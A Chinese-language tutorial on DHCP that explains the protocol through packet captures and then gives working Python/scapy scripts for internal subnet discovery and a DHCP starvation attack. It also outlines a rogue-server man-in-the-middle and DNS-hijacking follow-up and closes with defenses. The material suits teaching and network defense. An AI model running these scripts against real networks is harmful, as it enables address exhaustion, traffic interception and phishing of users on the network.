DHCP-基础-实现-攻击-防范

协议简介

DHCP(Dynamic Host Configuration Protocol)动态主机设置协议,前身是BOOTP协议,是一个局域网络的UDP协议,主要作用是集中管理、分配IP地址、使用户动态的获得IP地址、网关地址、DNS服务器地址。RFC951RFC1542对此进行了详细描述。

原理概述

这是DHCP的工作过程

为了方便理解可以用大佬求职过程来类比

大佬求职的过程为:

  • 大佬想找份工作了,在行业内发出求职信息
  • 公司一看大佬要找工作,马上发出offer,包括年薪福利等
  • 大佬收到offer,寻思还不错,给公司回复表示接受
  • 公司收到回复,表示已收到并确定大佬成为公司一员

DHCP的工作过程为:

  • 主机需要IP时,在网络内广播IP需求 (Discover)
  • 网络内DHCP服务器收到后,给出回复,包括IP掩码等 (Offer)
  • 主机收到回复,回复DHCP服务器,表示接受(Request)
  • DHCP服务器收到回复,表示收到并确定租约 (ACK)

需要注意一个点

  • 大佬收到多个offer之后,可能会考虑一下,选择适合自己的offer
  • 主机收到多个offer之后,会对第一个收到的offer进行回复

数据包详细

为了更加深入理解DHCP协议,进行场景模拟并抓包,拓扑如下

过滤wireshark抓取规则为bootp,在PC开启DHCP抓取到以下数据包

篇幅原因,不展开详细数据包,只提取重要内容

DHCP Discover

由于主机没有IP,所以会通过UDP协议的68端口以广播形式发送DHCP Discover数据包,数据包中包含主机的MAC地址和主机名等信息。
DHCP Discover的等待时间预设为1秒,如果没有收到DHCP Offer进行重发,最多重发四次。四次后还是没有回应,会从169.254.0.0/16中选取一个作为IP地址。

1
2
3
4
5
6
7
8
9
10
Ethernet II, Src: Vmware_7f:50:8b (00:0c:29:7f:50:8b), Dst: Broadcast (ff:ff:ff:ff:ff:ff) # 数据链路层 广播形式
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 # 网络层 广播形式
User Datagram Protocol, Src Port: 68, Dst Port: 67 # 传输层 UDP协议
Bootstrap Protocol (Discover) # DHCP协议
Option: (53) DHCP Message Type (Discover) # DHCP Discover 类型
DHCP: Discover (1)
Option: (61) Client identifier # 主机MAC信息
Client MAC address: Vmware_7f:50:8b (00:0c:29:7f:50:8b)
Option: (12) Host Name # 主机名
Host Name: winxp-1

DHCP Offer

由于目前主机还是没有IP地址,所以DHCP服务器与主机之间还是使用广播。DHCP服务器使用UDP协议的67端口发送DHCP Offer数据包。
DHCP Offer数据包中包含DHCP服务器地址、打算给主机分配IP、掩码、网关、DNS、租约等信息。(大佬求职的薪水福利等)
DHCP服务器在给主机发送DHCP Offer数据包后,会保留打算给主机分配的IP一段时间。(给大佬考虑的时间和保留职位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Ethernet II, Src: Vmware_89:eb:13 (00:0c:29:89:eb:13), Dst: Broadcast (ff:ff:ff:ff:ff:ff) # 数据链路层 广播形式
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 255.255.255.255 # 网络层 广播形式
User Datagram Protocol, Src Port: 67, Dst Port: 68 # 传输层 UDP协议
Bootstrap Protocol (Offer) # DHCP协议
Your (client) IP address: 192.168.1.10 # 提供给主机的IP地址
Option: (53) DHCP Message Type (Offer) # DHCP Offer 类型
DHCP: Offer (2)
Option: (1) Subnet Mask # 子网掩码信息
Subnet Mask: 255.255.255.0
Option: (51) IP Address Lease Time # 地址租约信息
IP Address Lease Time: (691200s) 8 days
Option: (54) DHCP Server Identifier # DHCP服务器地址信息
DHCP Server Identifier: 192.168.1.1
Option: (3) Router # 网关信息
Router: 192.168.1.1
Option: (6) Domain Name Server # DNS信息
Domain Name Server: 8.8.8.8

DHCP Request

在大佬求职中,大佬发出求职后,很多公司都对大佬发出Offer并给大佬考虑的时间并保留职位,而大佬决定好公司之后,也会告知其他公司自己已作出选择,其他公司就会收回职位给其他求职者。
网络中也是一样的,只是主机不会考虑,主机会回复第一个收到的DHCP Offer数据包,并回复DHCP Requests。数据包中包含自己的MAC地址、主机名、选择的DHCP服务器并以广播发送,告知网络中的其他DHCP服务器撤销提供的IP地址以便提供给其他主机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Ethernet II, Src: Vmware_7f:50:8b (00:0c:29:7f:50:8b), Dst: Broadcast (ff:ff:ff:ff:ff:ff) # 数据链路层 广播形式
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 # 网络层 广播形式
User Datagram Protocol, Src Port: 68, Dst Port: 67 # 传输层 UDP协议
Bootstrap Protocol (Request) # DHCP协议
Option: (53) DHCP Message Type (Request) # DHCP Request
DHCP: Request (3)
Option: (61) Client identifier # 主机MAC信息
Hardware type: Ethernet (0x01)
Client MAC address: Vmware_7f:50:8b (00:0c:29:7f:50:8b)
Option: (50) Requested IP Address # 主机接受的IP
Requested IP Address: 192.168.1.10
Option: (54) DHCP Server Identifier # DHCP服务器地址
DHCP Server Identifier: 192.168.1.1
Option: (12) Host Name # 主机名
Host Name: winxp-1

DHCP ACK

在大佬求职中,公司对大佬发出的Offer仅仅包含薪水福利工作范围等,大佬确定公司后,公司才会为大佬分配工号工位具体上班时间等细节。
网络中,在提供IP地址的DHCP服务器收到DHCP Request数据包之后,会回复ACK并将其他配置信息放入数据包发个主机,到这里才确定了IP地址分配给了主机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Ethernet II, Src: Vmware_89:eb:13 (00:0c:29:89:eb:13), Dst: Broadcast (ff:ff:ff:ff:ff:ff) # 数据链路层 广播形式
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 255.255.255.255 # 网络层 广播形式
User Datagram Protocol, Src Port: 67, Dst Port: 68 # 传输层 UDP协议
Bootstrap Protocol (ACK) # DHCP协议
Your (client) IP address: 192.168.1.10 # 分配的IP地址
Option: (53) DHCP Message Type (ACK) # DHCP ACK
DHCP: ACK (5)
Option: (54) DHCP Server Identifier # DHCP服务器地址
DHCP Server Identifier: 192.168.1.1
Option: (1) Subnet Mask # 分配的子网掩码
Subnet Mask: 255.255.255.0
Option: (3) Router # 分配的网关
Router: 192.168.1.1
Option: (6) Domain Name Server # 分配的DNS
Domain Name Server: 8.8.8.8

主机在接收到DHCP ACK数据包之后,会发送三个ARP数据包检查IP地址是否被占用,如果被占用会发送DHCP Decline和DHCP Discover数据包重新获取。

根据前面对于DHCP协议的流程分析,结合一些实际环境,可以利用DHCP进行内网网段探测、饥饿攻击、中间人攻击、DNS劫持、钓鱼攻击。

DHCP嗅探

使用场景

为了更加清楚的展示,使用Cisco Packet Tracer搭了一个模拟环境

上图模拟一家公司,有销售部和技术部,使用VLAN划分不同网段且配置了相应DHCP服务。

上图是销售部PC1在获取了IP地址之后的信息,可以看到销售部PC1是可以与技术部PC1连通的,但是记录中并没有技术部的网段信息。映射到实际中,假如销售部PC1通过某种魔法上线了,要进行内网渗透时,想要在网络中找到其他部门的网段,要么日穿网关,要么爆破网段,但是动静都很大。这种情况下,如果使用DHCP进行嗅探,只需要发送一个IP请求包。

利用原理

还是拿大佬求职举例,大佬把简历放到行业群里(广播),当公司看到且职位有空余就会给大佬Offer,而通常不止一个Offer(膜大佬)

在DHCP中,当主机在网络中广播发出IP地址需求之后,网络中的所有DHCP服务器收到后自身地址池有空余时会回复一个Offer。DHCP嗅探的原理就在这里,网络中所有的DHCP服务器收到地址请求都会回复一个Offer,也就是说,如果网络中有三个DHCP服务器,那么主机就能够收到三个DHCP服务器的Offer。而在日常使用中,一直能够获取到正确的IP地址是因为当主机收到多个DHCP服务器的Offer时,通常使用第一个收到的Offer。通过这个特性,如果我们在发送IP请求后,监听后续的Offer,那么我们就能获得所有的DHCP网段。

Python实现

了解原理之后就开整,环境如下

Linux - Python3 - scapy、IPy、time、threading

1
2
3
4
import IPy
import time
import threading
from scapy.all import *

在清楚数据包结构之后使用scapy构造数据包就像拼图一样,将每层的数据包构造好拼起来就能发送了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 伪造随机MAC地址
src_mac = RandMAC()
# eth0物理地址
fam,hw = get_if_raw_hwaddr('eth0')

# 构造DHCP Discover数据包
# 数据链路层 广播发送
ether = Ether(dst='ff:ff:ff:ff:ff:ff',src=src_mac,type=0x800)
# 网络层 广播发送
ip = IP(src='0.0.0.0',dst='255.255.255.255')
# 传输层 负责端口
udp = UDP(sport=68,dport=67)
# BOOTP协议
bootp = BOOTP(chaddr=hw,ciaddr='0.0.0.0',xid=0x12345678,flags=1)
# DHCP协议 DHCP数据包类型在这里定义
dhcp = DHCP(options=[('message-type','discover'),'end'])

# 拼接数据包
packet = ether/ip/udp/bootp/dhcp

# 发送数据包
sendp(packet,count=1,verbose=0)

保存并开启wireshark抓包后运行脚本,数据包发送成功并得到回应,接下来就是获取并解析DHCP Offer数据包了

题外话-1

为什么不在windows上使用scapy
windows和linux在scapy上的区别主要在于网卡物理地址获取上
linux获取网卡物理地址只需要一行

1
get_if_raw_hwaddr('eth0')

而windows由于语言问题和网卡使用问题要麻烦一些,使用psutil得到网卡名称后再获取网卡物理地址

1
2
3
4
5
6
7
8
9
10
11
import psutil

netcard_info = []
info = psutil.net_if_addrs()
for k,v in info.items():
for item in v :
if item[0] == 2 and not item[1] == '127.0.0.1':
netcard_info.append(k)

netcart = netcard_info[?] # 自定义
get_if_raw_addr(netcart)

但是这一步容易出问题而且linux加载scapy模块的速度比windows快,所以我测试使用的linux

题外话-2

在scapy官方手册上,也有DHCP Discover数据包的发送并接受的示例代码,而且比这里实现的要简单,为什么不使用?
scapy官方手册上使用srp()进行发送并返回数据包且代码量很少,但是只能获取到DHCP服务器地址,无法获取掩码、网关、DNS、租约等信息
且srp()还可能存在数据包阻塞的问题,所以我使用sniff()搭配sendp()

接下来开始编写监听与解析DHCP Offer数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 过滤UDP且广播的数据包 | timeout请根据网络情况变更
packet = sniff(filter='udp and dst 255.255.255.255',iface='eth0',timeout=1)
for i in range(len(packet)):
if packet[i][1].src != '0.0.0.0':
# 防止相似数据包进入后报错并关闭程序
try:
# 得到DHCP服务器地址
server = packet[i][1][0].src
# 得到DHCP服务子网掩码
subnet = packet[i][1][3].options[1][1]
if subnet != '0.0.0.0' and subnet != '0.0.0.0':
# 使用IPy模块将子网掩码转换为数字表现形式
# 255.255.255.0 > 24
subnum = 0
for i in subnet.split('.'): subnum += str((bin(int(i)))).replace('0b','').count('1')
sub = str(server)+'/'+str(subnum)
print('Get '+sub)
except:
pass

将以上代码直接写在发送后面,运行后大概率是抓不到包的…
原因如图,DHCP响应是在局域网内的,正常情况下回复都很快,也就是说sniff()还没开起来,DHCP响应就结束了,所以我们需要借助多线程让sniff()有时间抓到DCHP响应

先把上面负责收发的两部分定义为函数:send_dhcp_discover()和listen_dhcp_offer()
然后发送部分在最前面加上time.sleep()等待接收部分跑起来,注意不要高过sniff()的timeout
最后将多线程定义为main()再调用,就能得到最终代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import IPy
import time
import threading
from scapy.all import *

def send_dhcp_discover():
# 等待接收部分跑起来
time.sleep(0.5)
print('[+] Send DHCP Discover Packet')
src_mac = RandMAC()
fam,hw = get_if_raw_hwaddr('eth0')
# 构造DHCP Discover数据包
ether = Ether(dst='ff:ff:ff:ff:ff:ff',src=src_mac,type=0x800)
ip = IP(src='0.0.0.0',dst='255.255.255.255')
udp = UDP(sport=68,dport=67)
bootp = BOOTP(chaddr=hw,ciaddr='0.0.0.0',xid=0x12345678,flags=1)
dhcp = DHCP(options=[('message-type','discover'),'end'])
# 拼接并发送数据包
packet = ether/ip/udp/bootp/dhcp
sendp(packet,count=1,verbose=0)

def listen_dhcp_offer():
packet = sniff(filter='udp and dst 255.255.255.255',iface='eth0',timeout=1)
for i in range(len(packet)):
if packet[i][1].src != '0.0.0.0':
# 防止相似数据包进入后报错并关闭程序
try:
# 得到DHCP服务器地址和子网掩码
server = packet[i][1][0].src
subnet = packet[i][1][3].options[1][1]
if subnet != '0.0.0.0' and subnet != '0.0.0.0':
# 使用IPy模块将子网掩码转换为数字表现形式
# 255.255.255.0 > 24
subnum = 0
for i in subnet.split('.'): subnum += str((bin(int(i)))).replace('0b','').count('1')
sub = str(server)+'/'+str(subnum)
print('[+] Find '+sub)
except:
pass

def main():
# 创建函数列表
func = [listen_dhcp_offer,send_dhcp_discover]
threads = []
# 添加函数进入线程
for i in range(len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
# 设置线程等待并启动线程
for t in threads:
t.setDaemon(True)
t.start()
# 等待线程结束
for t in threads:
t.join()

if __name__ == '__main__':
main()

当前主机处于192.168.20.0/24网段下,且路由表没有其他网段的信息,在运行脚本后发现了192.168.10.0/24网段。相比其他内网探测方法,这种方法只需要发一个DHCP Discover数据包,但前提是存在DHCP服务。

DHCP饥饿攻击

前面描述了使用DHCP协议进行内网网段进行探测,主要利用的是DHCP交互中的前两层特性,下面将描述DHCP交互中后两层的问题。

利用原理

还是拿大佬求职举例,此时大佬已经拿到了整个行业里仅有的两家公司的Offer。(Dear dalao! Please dai dai wo!)
但是大佬发现这两家公司一共要招四个人,大佬略加思考–“我全都要”,HR了解后对外表示坑已经满了,那么后续再有人想入坑,没有人辞职的话这两家公司都没有坑。

在DHCP中,前两步给出Offer和后两步确认Offer是相对独立的,因为这两步之间由于DHCP服务本身的特殊性,验证采用MAC地址,而MAC地址可以伪造,几乎等于是没有验证机制的。所以会导致地址被恶意占满。

Python实现

现在我们已经知道了DHCP的网关地址和网段,那么首先就是得到DHCP服务中所有的可用地址,这里使用IPy模块完成。

1
2
3
4
# 使用IPy模块计算网段内IP地址
network = IPy.IP('192.168.20.1').make_net(24).strNormal()
ip_list = IPy.IP(network)
# ip_list是IPy.IP类型,可以作为列表直接使用

得到IP地址范围之后,就伪造DHCP Request并穷举所有IP地址,占满所有DHCP地址池中可用的地址,伪造方法和之前一样,把数据包特性通过scapy写入就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 穷举地址发送 DHCP Request 数据包
for i in ip_list:
# 伪造MAC地址
src_mac = RandMAC()
# 数据链路层
ether = Ether(src=src_mac,dst='ff:ff:ff:ff:ff:ff')
# 网络层
ip = IP(src='0.0.0.0',dst='255.255.255.255')
# 传输层
udp = UDP(sport=68,dport=67)
# BOOTP协议
bootp = BOOTP(chaddr=src_mac)
# DHCP协议 - DHCP Request
dhcp = DHCP(options=[("message-type",'request'),("server_id",'192.168.20.1'),("requested_addr",str(i)),"end"])
# 拼接数据包
packet = ether/ip/udp/bootp/dhcp
# 发送数据包
sendp(packet,verbose=0)

此次运行脚本时,DHCP服务器(192.168.20.1)的服务范围是192.168.20.110-120,通过抓包可以看到DHCP服务器的回应

DHCP服务器的回应分为两种,ACK(接受)和NAK(拒绝),请求的地址处于192.168.20.110-120且地址可用时,DHCP服务器返回ACK允许,地址不可用时返回NAK拒绝

上图是DHCP服务器的地址租约管理,可以看到服务的网段在一秒内就被占完,一个C段的DHCP饥饿攻击只需要在一至两秒内完成

DHCP攻击后续

此时DHCP服务的地址已经被占满,后续的主机希望通过DHCP获取IP时会受到NAK被拒绝,主机会重复发送四次DHCP请求,四次后都没有可用地址则会从169.254.0.0/16这个保留地址中随机选择一个作为自己的IP地址

还是拿大佬求职举例,大佬手上已经有4个岗位,公司给这四个岗位一共日薪10W,大佬转手请四个助手完成这四个岗位的工作,给这四个助手一共日薪10K (没有中间商赚差价 - 手动狗头)

放到DHCP中,按照前面的拓扑,如果我们将网络中的所有DHCP服务地址都占用,再伪造DHCP服务器、DNS服务器、网关,将DHCP分发的DNS和网关地址改成伪造的,就能够发起中间人攻击、DNS劫持、钓鱼攻击

正常的拓扑数据包的走向:

销售部PC1访问互联网时,数据包经过为:

销售部PC1 <-> 交换机 <-> 出口网关 <-> 互联网

销售部PC1希望访问baidu.com,DNS解析步骤为:

本地hosts文件 -> 查询本机记录的DNS服务器(8.8.8.8)-> 得到地址后访问baidu.com

假设销售部PC2访问大佬的网站突然被上线,发起DHCP攻击并伪造DNS服务器和改变网关地址后,销售部PC1获取了假的DHCP信息后数据包的走向:

销售部PC1访问互联网时,数据包经过为:

销售部PC1 <-> 销售部PC2 <-> 交换机 <-> 出口网关 <-> 互联网

销售部PC1希望访问baidu.com,DNS解析步骤为:

本地hosts文件 -> 查询本机记录的DNS服务器(销售部PC2伪造的DNS服务器) -> 得到地址后访问销售部PC2伪造的baidu.com

防范手段

针对DHCP饥饿攻击:由于DHCP使用MAC绑定IP地址,所以发起DHCP饥饿攻击需要伪造出合法的MAC地址与DHCP服务器进行交互。依照这个特性,可以限制端口发起的MAC地址数,如发现发起DHCP饥饿攻击时产生的大量随机源MAC地址时进行丢弃或关闭端口。

针对DHCP伪造攻击:回顾一下DHCP的交互过程,当主机发送DHCP Discover时,DHCP服务器会回复DHCP Offer。依照这个特性,可以限制除了正确DHCP服务器之外端口都不允许发送DHCP Offer数据包。这样就算正确的DHCP服务器无法提供服务,攻击者也无法进行中间人攻击、DNS劫持、钓鱼等攻击。